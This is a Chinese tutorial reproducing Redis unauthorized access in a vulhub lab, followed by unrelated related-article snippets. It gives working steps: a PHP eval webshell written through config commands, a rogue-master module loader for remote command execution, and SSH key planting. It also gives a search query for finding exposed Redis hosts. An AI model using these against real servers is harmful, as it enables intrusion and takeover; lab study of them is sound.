Redis未授权访问漏洞复现与工具安装

目录

一、漏洞简介

二、靶场搭建

三、漏洞检测

四、工具安装

五、远程连接

六、利用Redis写入webshell

七、redis-getShell工具

八、ssh公私钥免密登录

九、其他


一、漏洞简介

redis是一个数据库,默认端口是6379,redis默认是没有密码验证的,可以免密码登录操作,攻击者可以通过操作redis进一步控制服务器。Redis未授权访问影响版本为5.0.5以下,可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

二、靶场搭建

漏洞复现基于vulhub靶场

关于docker、docker-compose、vulhub这些的安装我就不介绍了,网上有教程。

安装好vulhub靶场,切换到Redis目录

cd redis

进入未授权访问漏洞 

cd 4-unacc

 拉取镜像

docker-compose up -d

拉取成功后,查看运行的容器

docker ps 

三、漏洞检测

新建一个IP.txt,输入我们虚拟机kali的IP用于测试

写个脚本进行漏洞检测(我们这里只检测默认端口6379)

运行后发现192.168.249.128确实存在未授权访问漏洞

四、工具安装

基于redis-cli工具

我们再开一台kali

我也是刚装的,以前一台就够用了

"the quieter you become,the more you are able to hear"

给kali安装redis-cli远程连接工具

下载

wget http://download.redis.io/redis-stable.tar.gz

解压 

tar -zxvf redis-stable.tar.gz

切换到redis-stable

cd redis-stable

 

使用make命令自动编译文件

make 

将src下的redis-cli 复制到 /usr/bin/(相当于Windows的添加环境变量)

cp src/redis-cli /usr/bin/

验证工具是否配置成功

redis-cli -h

没有报错 ,至此我们已经成功安装redis-cli 

五、远程连接

使用redis-cli命令直接远程免密登录redis主机

(也可以追加参数-p指定端口,默认是在6379)

redis-cli -h 目标主机IP

如果有密码则使用

redis-cli -h 目标主机IP -p 端口6379 -a 登录密码

常用命令

1.查看信息:info
2.删除所有数据库內容:flushable
3.刷新数据库:flush
4.查看所有键:keys *,使用 select num可以查看键值数据
5.设置变量:set test "myon"
6.config set dir dirpath设置路径等配置
7.config get dir/filename获取路径及数据配置信息
8.save保存
9.get变量:查看变量名称

比如我们执行info命令查看信息

如果能成功回显正常内容,那么基本上可以确认是存在Redis未授权访问漏洞的。

六、利用Redis写入webshell

首先补充一个知识点:

进入docker容器的命令

docker exec -it 容器id号 /bin/bash

这样我们就可以知道docker容器里的目录信息 

接下来我们通过Redis远程连接写入webshell

比如我们写在tmp目录下,设置文件位置和文件名

config set dir /tmp
config set dbfilename shell.php

看到OK说明就是执行成功了的 

写入webshell内容

set xxx "<?php eval($_REQUEST[cmd]);?>" 
或者
set xxx "\r\n\r\n<?php eval($_REQUEST['cmd']);?>\r\n\r\n"   

\r\n\r\n 代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行,因此推荐使用第二种。

写入之后,使用save命令保存

此时,我们在靶场容器的tmp目录下就可以看到这个一句话木马

但是我们只知道shell.php在docker容器的路径,无法知道shell.php的绝对路径,因此无法从外界直接访问到也无法使用蚁剑连接,除非我们能找到文件的绝对路径。

七、redis-getShell工具

下载与编译

git clone https://github.com/vulhub/redis-rogue-getshell.git
cd redis-getShell
cd RedisModulesSDK/
make

利用此工具进行getShell,执行任意命令

切回上一级目录

使用Python执行

python redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "要执行的命令"

比如

python redis-master.py -r 192.168.249.128 -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "whoami"

或者使用./执行

./redis-master.py -r 靶机IP -p 6379 -L 攻击机IP -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"

八、ssh公私钥免密登录

登陆linux有几种方式,最常用的是密码登陆和RSA key 登陆,RSA key登陆是生成一个公私对应的秘钥,然后将公钥放到linux系统的/root/.ssh/authorized_keys的文件中,我们本地客户端通过导入对应私钥进行登陆,这就是RSA key的登陆方式。
但是为什么redis可以获取服务器的root权限呢?
上面RSA key的登陆方式在服务器方面是要将公钥写入authorized_keys文件中的,而redis有一种持久化方式是生成RDB文件,通过持久化将公钥写入root下的authored_keys文件里,这样就将非法的公钥写到了验证文件里,后面我们拿对应私钥登陆即可。(但是这种方式需要再redis是root启动的情况下使用,因为非root权限无法进入/root目录)

 在攻击机中生成ssh公钥和私钥文件,密码为空

ssh-keygen -t rsa

进入/root/.ssh目录下,将生成的公钥保存到myon.txt

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > myon.txt

使用redis-cli 命令连接靶机,把myon.txt写入redis中  

cat myon.txt | redis-cli -h 192.168.249.128 -x set crack

遇到报错:(error) READONLY You can't write against a read only slave

报错原因:

Redis 主服务器(master server)具有读写的权限,而 从服务器(slave master)默认 只具有 读 的权限。如果强行在从服务器中接入数据,则报错提示“(error) READONLY You can't write against a read only slave”。 

解决方法:

方法1:修改 redis.conf 配置文件(永久生效)
        修改 redis.conf 配置文件中的参数  slave-read-only  yes ,将 yes 修改为 no ;

        然后保存并重启 redis 服务,此刻从服务器就具备了 读写权限。

        (注意:此方法必须重启 Redis 服务,才能使配置生效。)

方法2:redis-cli 命令行中使用 config set 命令修改
       在从Redis从服务器客户端命令行中 (redis-cli),通过 config set slave-read-only no 进行设置,立即生效,不需要重启 Redis 服务。

       (注意:若Redis从服务器重新启动,之前的设置参数就会失效,又会出现 redis 从服务器只有读权限。)

这里只是测试,我使用方法二进行修改

成功

再次执行上述命令

OK

更改目标服务器Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)  

config set dir /root/.ssh

报错:(error) ERR Changing directory: Permission denied

没有root权限

九、其他

资产收集

product="redis"

可以看到使用resist的IP还是很多的 

那么如果各位对实战感兴趣的话后面也可以给大家出一篇实战的,使用一些端口扫描、漏洞检测工具等进行poc的验证。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/613225.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

了解Python中的requests.Session对象及其用途

前言 在Python的网络编程中&#xff0c;requests库是一个非常流行的HTTP客户端库&#xff0c;用于发送各种类型的HTTP请求。在requests库中&#xff0c;requests.Session对象提供了一种在多个请求之间保持状态的方法本文将探讨Python中的requests.Session对象及其用途&#xf…

.net core 6 集成和使用 mongodb

1、安装包 MongoDB.Driver 2、定义顶层类 /// <summary> /// monggodb规范 /// </summary> public abstract class MongoDBToolBase { /// <summary> /// 客户端 /// </summary> protected MongoClient mongoClient { get; private …

联想电脑打开视频显示禁止相机排查

场景&#xff1a; ** 原因排查&#xff1a; ** windows设置>隐私> 电脑 联想管家 > 电池管理

GPT-4:人工智能的新纪元与未来的无限可能

在人工智能的发展史上&#xff0c;GPT-4的问世标志着一个新的里程碑。作为最新一代的自然语言处理模型&#xff0c;GPT-4不仅在技术上取得了突破&#xff0c;更在应用层面展现了前所未有的潜力。本文将探讨GPT-4的核心技术、应用场景以及它对未来社会的潜在影响。 GPT-4的技术…

代码随想录算法训练营第三天| 203.移除链表元素 ,707.设计链表 ,206.反转链表

刷题建议 刷题建议与debug 代码随想录目前基本都有了视频讲解&#xff0c;一定要先看视频&#xff0c;事半功倍。写博客&#xff0c;将自己的感悟沉淀下来&#xff0c;不然会忘大家提问的时候&#xff0c;记得要把问题描述清楚&#xff0c;自己在哪一步遇到了问题&#xff0c…

老生重谈:大模型的「幻觉」问题

一、什么是大模型「幻觉」 大模型的幻觉问题通常指的是模型在处理输入时可能会产生一些看似合理但实际上是错误的输出&#xff0c;这可能是因为模型在训练时过度拟合了训练数据&#xff0c;导致对噪声或特定样本的过度敏感。 "大数据幻觉"指的是在处理大规模数据时…

Type-C双盲插显示器,无需外挂MOS最简版本

在2021年5月&#xff0c;USB-IF协会破茧而出&#xff0c;发布了全新的USB PD3.1规范&#xff0c;如同凤凰涅槃&#xff0c;将快充功率上限从100 W扶摇直上至240 W。这一壮举不仅让USB PD的影响力渗透到手机、笔记本电脑的领域&#xff0c;更是将其触角延伸至了更为广阔的天地&a…

比较一组等高结构的迭代次数

( A, B )---14-30-2---( 1, 0 )( 0, 1 ) 做一个网路&#xff0c;让B全是0&#xff0c;让A由14张图片组成&#xff0c;且每行只有一个点。收敛误差7e-4.收敛199次统计迭代次数的平均值。 共计算了68组&#xff0c; 序号 迭代次数 1 15822.83 9 1 1 1 1 1 2 15981.4…

回顾2023,立2024flag

文章目录 回顾2023与CSDN相识专栏整理数据回顾 立2024flag 回顾2023 在过去的一年里&#xff0c;前端技术不断演进和创新。新技术、新框架层出不穷&#xff0c;给前端工程师提供了更多选择和挑战。2023年已经成为过去&#xff0c;回首这一年&#xff0c;我们也经历了许多挑战和…

如何在React 中更好使用JSON.stringify

对象的记忆化&#xff1a;不用将所有内容都变成字符串&#xff0c;只需使用useMemo. 仅在需要时更改它们。 做你自己的侦探&#xff1a;如果事情变得复杂&#xff0c;就卷起袖子编写一个自定义函数&#xff0c;以便在事情真正发生变化时弄清楚。 保持简单、愚蠢&#xff1a;尽…

leetcode - 2751. Robot Collisions

Description There are n 1-indexed robots, each having a position on a line, health, and movement direction. You are given 0-indexed integer arrays positions, healths, and a string directions (directions[i] is either ‘L’ for left or ‘R’ for right). Al…

python_数据可视化_pandas_导入excel数据

目录 1.1导入库 1.2读取excel文件 1.3读取excel&#xff0c;指定sheet2工作表 1.4指定行索引 1.5指定列索引 1.6指定导入列 案例速览&#xff1a; 1.1导入库 import pandas as pd 1.2读取excel文件 pd.read_excel(文件路径) data pd.read_excel(D:/desktop/TestExcel…

c语言进阶指南(17)——动态内存管理

欢迎来到博主的专栏——c语言进阶指南 博主id已更新&#xff1a; 文章目录 动态内存分配malloc动态内存的释放free其他的动态内存管理函数callocrealloc使用realloc函数调整动态内存空间使用realloc函数分配动态内存空间 动态内存分配 动态内存分配是内存分配的一种方法&#…

Python教程39:使用turtle画今天日期

---------------turtle源码集合--------------- Python教程36&#xff1a;海龟画图turtle写春联 Python源码35&#xff1a;海龟画图turtle画中国结 Python源码31&#xff1a;海龟画图turtle画七道彩虹 Python源码30&#xff1a;海龟画图turtle画紫色的小熊 Python源码29&a…

向量检索-用最简单的语言

看之前首先要懂两个基本条件&#xff1a; 1. 什么是向量 2. 会使用向量的检索 3. 知道至少一种向量的索引 这里我们拿比较的流行的HNSW算法来进行分析&#xff1a; 最直接的做法是根据向量在给定数据集中采用KNN来找到K个最近的向量。但在实际应用中&#xff0c;待检索的数据往…

14.kubernetes部署Dashboard

Dashboard 是基于网页的 Kubernetes 用户界面。 你可以使用 Dashboard 将容器应用部署到 Kubernetes 集群中,也可以对容器应用排错,还能管理集群资源。 你可以使用 Dashboard 获取运行在集群中的应用的概览信息,也可以创建或者修改 Kubernetes 资源 (如 Deployment,Job,D…

k8s的存储卷之静态

存储卷----数据卷 容器内的目录和宿主机的目录进行挂载 容器在系统上的生命周期是短暂的&#xff0c;delete&#xff0c;k8s用控制创建的pod&#xff0c;delete相当于重启&#xff0c;容器的状态也会回复到初始状态 一旦回到初始状态&#xff0c;所有的后天编辑的文件都会消…

Python自动化测试框架:Unittest 断言详解

断言是编程中常用的一种验证方法&#xff0c;也是测试代码中最重要的部分&#xff0c;用于验证某个条件是否为真&#xff0c;验证测试结果与预期结果是否一致。 unittest 提供了方便的断言方法&#xff0c;用于验证测试结果是否符合预期&#xff0c;若验证失败&#xff0c;则会…

JavaScript不常见但好用的运算符

前言 如果我问在JavaScript中&#xff0c;你用到的最常见的运算符是什么&#xff0c;你可能会回答以下几种&#xff1a; 、 -、 *、/、 %、 、 ?、 !、 &&、 ||、 >、 < 如果我问你知道但是不常用、不会用的运算符&#xff0c;你可能会回答以下几种&#xff…

leetcode 动态规划(最后一块石头的重量II、目标和、一和零)

1049.最后一块石头的重量II 力扣题目链接(opens new window) 题目难度&#xff1a;中等 有一堆石头&#xff0c;每块石头的重量都是正整数。 每一回合&#xff0c;从中选出任意两块石头&#xff0c;然后将它们一起粉碎。假设石头的重量分别为 x 和 y&#xff0c;且 x < …